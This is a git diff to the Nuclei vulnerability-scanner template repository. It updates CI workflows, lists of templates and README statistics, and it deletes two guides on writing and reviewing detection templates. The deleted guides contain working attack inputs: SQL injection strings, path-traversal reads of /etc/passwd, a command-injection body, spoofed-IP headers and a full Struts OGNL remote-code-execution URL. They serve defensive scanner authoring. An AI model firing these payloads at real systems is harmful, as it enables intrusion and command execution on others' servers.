@@ -40,7 +40,7 @@ jobs:
env:
HONEYPOT_URL: 'http://honey.scanme.sh'
steps:
- uses: actions/checkout@v5
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
@@ -10,7 +10,7 @@ jobs:
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- name: Check out repository code
uses: actions/checkout@v5
uses: actions/checkout@v4
- name: Install Python3
uses: actions/setup-python@v5
+1 -3
View File
@@ -3,6 +3,4 @@
local/
.checksum
.new-additions
*.txt
/.claude
CLAUDE.md
*.txt
+51 -23
View File
@@ -1,23 +1,51 @@
headless/cves/2025/CVE-2025-50738.yaml
http/cves/2024/CVE-2024-11972.yaml
http/cves/2024/CVE-2024-29028.yaml
http/cves/2024/CVE-2024-29029.yaml
http/cves/2024/CVE-2024-51568.yaml
http/cves/2025/CVE-2025-23061.yaml
http/cves/2025/CVE-2025-3515.yaml
http/cves/2025/CVE-2025-53118.yaml
http/cves/2025/CVE-2025-57822.yaml
http/exposures/configs/n8n-config.yaml
http/global-matchers/global-waf-detect.yaml
http/misconfiguration/missing-cookie-samesite-strict.yaml
http/takeovers/framer-takeover.yaml
http/technologies/dkron-detect.yaml
http/technologies/hugegraph-studio-detect.yaml
http/vulnerabilities/other/dkron-unauth-rce.yaml
javascript/detection/pigeonhole-sieve-detect.yaml
javascript/misconfiguration/netstat-service-expose.yaml
javascript/udp/detection/zeroconf-detect.yaml
network/detection/ftp-detect.yaml
network/detection/sap-dispatcher-detect.yaml
network/detection/sap-router-detect.yaml
workflows/ftp-workflow.yaml
code/windows/audit/kisa/account-lockout-threshold.yaml
code/windows/audit/kisa/admin-account-rename.yaml
code/windows/audit/kisa/admin-group-minimal.yaml
code/windows/audit/kisa/autologon-control.yaml
code/windows/audit/kisa/crash-on-audit-fail.yaml
code/windows/audit/kisa/dns-zone-transfer-check.yaml
code/windows/audit/kisa/ftp-access-control-check.yaml
code/windows/audit/kisa/ftp-anonymous-check.yaml
code/windows/audit/kisa/ftp-directory-permission-check.yaml
code/windows/audit/kisa/hard-disk-default-share.yaml
code/windows/audit/kisa/password-cleartext-encryption.yaml
code/windows/audit/kisa/password-never-expires.yaml
code/windows/audit/kisa/rds-removal-check.yaml
code/windows/audit/kisa/remote-registry-access-check.yaml
code/windows/audit/kisa/remote-system-shutdown.yaml
code/windows/audit/kisa/sam-file-access-control.yaml
code/windows/audit/kisa/service-pack-check.yaml
code/windows/audit/kisa/shutdown-without-logon.yaml
code/windows/audit/kisa/unnecessary-accounts-check.yaml
code/windows/audit/kisa/unnecessary-service-check.yaml
http/cves/2020/CVE-2020-9547.yaml
http/cves/2020/CVE-2020-9548.yaml
http/cves/2024/CVE-2024-50334.yaml
http/cves/2025/CVE-2025-2010.yaml
http/cves/2025/CVE-2025-32813.yaml
http/cves/2025/CVE-2025-32814.yaml
http/cves/2025/CVE-2025-34040.yaml
http/cves/2025/CVE-2025-41646.yaml
http/cves/2025/CVE-2025-4380.yaml
http/cves/2025/CVE-2025-47812.yaml
http/cves/2025/CVE-2025-47813.yaml
http/cves/2025/CVE-2025-48827.yaml
http/cves/2025/CVE-2025-53624.yaml
http/cves/2025/CVE-2025-5777.yaml
http/default-logins/molgenis/molgenis-default-login.yaml
http/exposed-panels/cisco-cm-panel.yaml
http/exposed-panels/cisco-prime-license-manager-panel.yaml
http/exposed-panels/google-adk-api-exposed.yaml
http/exposed-panels/google-adk-webui-exposed.yaml
http/exposed-panels/molgenis-panel.yaml
http/exposed-panels/peplink-panel.yaml
http/exposed-panels/wingftp-panel.yaml
http/miscellaneous/torrent-website-detect.yaml
http/misconfiguration/installer/pritunl-installer.yaml
http/technologies/wordpress/plugins/blocksy-companion.yaml
http/technologies/wordpress/plugins/gosmtp.yaml
http/technologies/wordpress/plugins/honeypot.yaml
http/technologies/wordpress/plugins/pagelayer.yaml
http/technologies/wordpress/plugins/siteseo.yaml
http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
network/detection/jdwp-detect.yaml
+1 -1
View File
@@ -17,7 +17,6 @@ tags:
- "local"
- "fuzz"
- "bruteforce"
- "txt-service"
# The following templates have been excluded because they have weak matchers and may generate FP results.
# Please feel free to create PR if you can update the templates with strict matchers.
@@ -32,6 +31,7 @@ files:
- http/fuzzing/mdb-database-file.yaml
- http/fuzzing/iis-shortname.yaml
- dns/soa-detect.yaml
- dns/txt-service-detect.yaml
- javascript/enumeration/pop3/pop3-capabilities-enum.yaml
- javascript/enumeration/redis/redis-require-auth.yaml
- dast/vulnerabilities/sqli/time-based-sqli.yaml
+1 -1
View File
@@ -41,7 +41,7 @@ Along with the P.O.C following are the required fields in the info section for s
**Don’t**
- Don’t share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Don’t not share any real world target on the PR. If you have setup an vulnerable environment please share it privately on Discord with the team to easily validate the template.
- Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
- Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
- Try to keep the requests per template as low as possible
+11 -11
View File
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| cve | 3288 | dhiyaneshdk | 1882 | http | 8967 | info | 4190 | file | 435 |
| panel | 1342 | daffainfo | 868 | cloud | 657 | high | 2446 | dns | 26 |
| xss | 1257 | princechaddha | 854 | file | 435 | medium | 2379 | | |
| wordpress | 1181 | dwisiswant0 | 806 | dast | 255 | critical | 1425 | | |
| exposure | 1107 | ritikchaddha | 649 | workflows | 202 | low | 318 | | |
| wp-plugin | 1032 | pussycat0x | 532 | code | 198 | unknown | 56 | | |
| osint | 841 | pikpikcu | 352 | network | 145 | | | | |
| tech | 803 | pdteam | 310 | javascript | 71 | | | | |
| rce | 786 | pdresearch | 269 | ssl | 38 | | | | |
| lfi | 777 | iamnoooob | 257 | dns | 23 | | | | |
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
**848 directories, 11344 files**.
**840 directories, 11171 files**.
</td>
</tr>
-524
View File
@@ -1,524 +0,0 @@
# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
-441
View File
@@ -1,441 +0,0 @@
# Nuclei Template Review Guide
**Best Practices for Template Quality and Security**
---
## Quick Reference
### **Review Priority Areas**
1. **Quality & Consistency** - Formatting, syntax, field standardization
2. **Metadata Enhancement** - Search queries, classifications, documentation
3. **Tags Optimization** - Category alignment, searchability
4. **Classification** - CVE/CWE alignment, severity scoring
5. **Matcher Refinement** - Detection logic, false positive prevention
### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
---
## Pre-Review Checklist
### **Template Completeness Verification**
```yaml
Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
```
### **Author Attribution Best Practices**
```yaml
# GOOD - Include both template author and vulnerability discoverer in author field
info:
author: template-author-github-username,original-discoverer-handle
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
reference:
- https://github.com/security_researcher/advisories/example-app-sqli
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
# EXAMPLES of proper author attribution
info:
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
info:
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
info:
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
```
### **Metadata Quality Check**
```yaml
Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
Note: max-request is auto-generated and doesn't need manual input
```
---
## Matcher Quality Framework
### **🚫 Weak Matchers (High False Positive Risk)**
#### **Generic Response Patterns - AVOID**
```yaml
# BAD - Matches any admin interface globally
matchers:
- type: word
words:
- "admin"
- "login"
- "dashboard"
part: body
```
**Problem:** These terms appear on millions of legitimate systems
#### **Version-Only Detection - AVOID**
```yaml
# BAD - Matches all versions, not just vulnerable ones
matchers:
- type: regex
regex:
- 'WordPress [0-9]+\.[0-9]+'
part: body
```
**Problem:** Doesn't verify actual vulnerability presence
### **✅ Strong Vulnerability-Specific Matchers**
#### **Multi-Layer Verification Strategy**
```yaml
# GOOD - Combines application + version + vulnerability proof
matchers-condition: and
matchers:
- type: word # Layer 1: Identify specific application
words:
- "Grafana Dashboard"
- "grafana.com/login"
part: body
- type: regex # Layer 2: Confirm vulnerable version range
regex:
- 'version.*[6-8]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify exploit success
words:
- "unauthorized_data_access"
- "/api/snapshots/{{randstr}}"
part: body
condition: or
```
#### **CVE-Specific Template Example**
```yaml
# CVE-2024-1234 - Specific Application RCE
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Exact vulnerable version
- "Build 2024.03.15" # Specific build identifier
part: body
- type: status # Expected response code
status:
- 200
- type: word # Exploitation proof
words:
- "RCE_EXECUTION_SUCCESS_{{randstr}}" # Unique payload response
- "nuclei_test_command_output" # Command execution indicator
part: body
condition: or
```
#### **Panel Detection - Unique Signatures**
```yaml
# FortiGate Panel - Multiple unique identifiers
matchers-condition: and
matchers:
- type: word
words:
- "<title>FortiGate - Login</title>" # Specific page title
- "Fortinet, Inc." # Vendor attribution
- "FortiOS Version:" # Version indicator
part: body
condition: or
- type: regex
regex:
- '/images/fortinet_logo_[0-9]+\.png' # Unique asset pattern
- 'build_[0-9]{4}_[0-9]{6}' # Build number format specific to FortiGate
part: body
condition: or
```
---
## False Positive Prevention
### **High-Risk Scenarios to Test**
Before approval, verify matchers DON'T trigger on:
1. **Related Non-Vulnerable Systems**
- Same vendor, different products
- Same application, patched versions
- Similar interfaces, different implementations
2. **Generic Web Applications**
- Common frameworks (WordPress, Django, Rails)
- Standard admin panels (cPanel, Plesk)
- Default server pages (Apache, Nginx)
3. **Honeypot/Security Tools**
- Intentionally deceptive responses
- Security scanners mimicking vulnerabilities
- Research environments with fake responses
### **Matcher Testing Checklist**
```yaml
Required Validation Steps:
- [ ] Test against 3+ non-vulnerable similar applications
- [ ] Verify unique response elements are truly unique
- [ ] Confirm payload/exploitation indicators are specific
- [ ] Check matcher doesn't trigger on default installations
- [ ] Validate version detection accuracy (if applicable)
```
---
## Review Categories by Impact
### **1. Metadata Enhancement**
**Most Common Missing Elements:**
- `shodan-query` for asset discovery
- `fofa-query` for alternative search engines
- `classification` fields for vulnerability tracking
**Review Actions:**
```yaml
# Add asset discovery capabilities
metadata:
verified: true
shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
fofa-query: 'title="Grafana" && body="grafana"'
# Ensure proper classification
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-1234
cwe-id: CWE-89
```
### **2. Matcher Quality**
**Common Issues:**
- Overly broad detection patterns
- Missing context verification
- Weak exploitation proof
**Review Standards:**
```yaml
# Require multi-layer validation
matchers-condition: and # Force all conditions to match
matchers:
- type: word # Application identification
- type: status # Response validation
- type: word # Vulnerability proof
condition: or # Allow multiple proof methods
```
### **3. Severity Assessment**
**CVSS Alignment Requirements:**
- **Critical (9.0-10.0):** Remote code execution, complete system compromise
- **High (7.0-8.9):** Significant data breach, privilege escalation
- **Medium (4.0-6.9):** Information disclosure, limited access
- **Low (0.1-3.9):** Minor information leakage, requires authentication
### **4. Reference Validation**
**Required Reference Quality:**
- Original vulnerability advisory (CVE, vendor security bulletin)
- Technical analysis or proof of concept
- NIST NVD entry (if available)
- Public disclosure timeline
---
## Reviewer Action Templates
### **For Metadata Improvements**
```
Please enhance the template metadata:
- Add `shodan-query` for asset discovery: `[suggested query]`
- Include `fofa-query` for alternative search: `[suggested query]`
- Verify `classification` fields are complete
- Ensure `verified: true` with debug data if tested
```
### **For Weak Matchers**
```
The current matchers may produce false positives. Please:
- Add application-specific identifiers (exact titles, unique elements)
- Include version validation for vulnerable ranges only
- Verify exploitation proof rather than just version detection
- Test against [specific non-vulnerable scenarios]
```
### **For Severity Issues**
```
Severity should be [X] based on CVSS impact:
- Attack Vector: [Network/Adjacent/Local/Physical]
- Impact: [Complete/Partial/None] for CIA triad
- Required Privileges: [None/Low/High]
- Reference CVSS calculator: [link]
```
### **For Missing References**
```
Please add comprehensive references:
- Original vulnerability disclosure/advisory
- Technical analysis or exploitation details
- Official vendor security bulletin (if available)
- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
```
### **For Missing Vulnerability Discoverer Attribution**
```
Please credit the original vulnerability discoverer in the author field:
- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
- Include original disclosure/research reference
- Ensure proper credit for both template creator AND vulnerability researcher
```
---
## Quality Standards & Goals
### **Template Accuracy Goals**
- **False Positive Rate:** <2% (verified through community feedback)
- **Detection Coverage:** 95%+ for vulnerable instances
- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
### **Review Consistency Standards**
- **Response Time:** Initial review within 48 hours
- **Feedback Quality:** Specific, actionable guidance with examples
- **Approval Criteria:** All quality checks pass, tested when possible
### **Community Impact**
- **Contribution Quality:** Monitor improvement patterns in repeat contributors
- **Review Effectiveness:** Track issues caught in review vs. post-merge
- **Knowledge Transfer:** Successful elevation of community template quality
---
## Advanced Review Techniques
### **Template Testing Environment Setup**
```bash
# Recommended testing workflow
nuclei -t new-template.yaml -target vulnerable-lab.com -debug
nuclei -t new-template.yaml -target patched-system.com -debug
nuclei -t new-template.yaml -list target-variety.txt -silent
```
### **Vulnerability Context Research**
1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements
3. **Community Disclosure Analysis:** Check for additional context or limitations
4. **Exploit Database Validation:** Compare detection approach with known exploits
### **Review Documentation Standards**
- Document testing methodology in PR comments
- Provide specific improvement suggestions with examples
- Reference similar high-quality templates as comparison
- Explain security rationale for matcher requirements
---
## Practical Examples by Vulnerability Type
### **SQL Injection Templates**
```yaml
# WRONG - Generic database errors (match many systems)
matchers:
- type: word
words:
- "mysql_fetch"
- "SQL syntax"
# RIGHT - Specific to vulnerability context
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument" # Specific error pattern
- "WHERE id='1' OR '1'='1'" # Injection payload context
- "users table does not exist" # Application-specific error
part: body
condition: and
```
### **RCE Templates**
```yaml
# WRONG - Generic command output
matchers:
- type: word
words:
- "root"
- "/bin/bash"
# RIGHT - Command execution in vulnerability context
matchers:
- type: regex
regex:
- 'uid=0\(root\) gid=0\(root\) groups=0\(root\)' # Complete whoami output
part: body
- type: word
words:
- "nuclei_rce_test_{{rand_base(6)}}" # Unique payload identifier
part: body
```
### **File Upload Vulnerabilities**
```yaml
# WRONG - Generic file upload success
matchers:
- type: word
words:
- "uploaded successfully"
- "file saved"
# RIGHT - Vulnerability-specific upload validation
matchers:
- type: word
words:
- "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/" # Specific path + file
- "File permissions: 644" # System response
- "<?php echo 'nuclei_upload_test'; ?>" # File content verification
part: body
condition: and
```
---
## Multi-Layer Matcher Strategy
```yaml
# Use multiple verification layers
matchers-condition: and
matchers:
- type: word # Layer 1: Identify the application
words:
- "VulnApp Management Console"
part: body
- type: regex # Layer 2: Confirm vulnerable version
regex:
- 'Version: [1-2]\.[0-5]\.[0-9]'
part: body
- type: word # Layer 3: Verify vulnerability exists
words:
- "debug_info_exposed"
- "configuration_leak"
part: body
condition: or
```
---
*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
+1 -1
View File
@@ -1 +1 @@
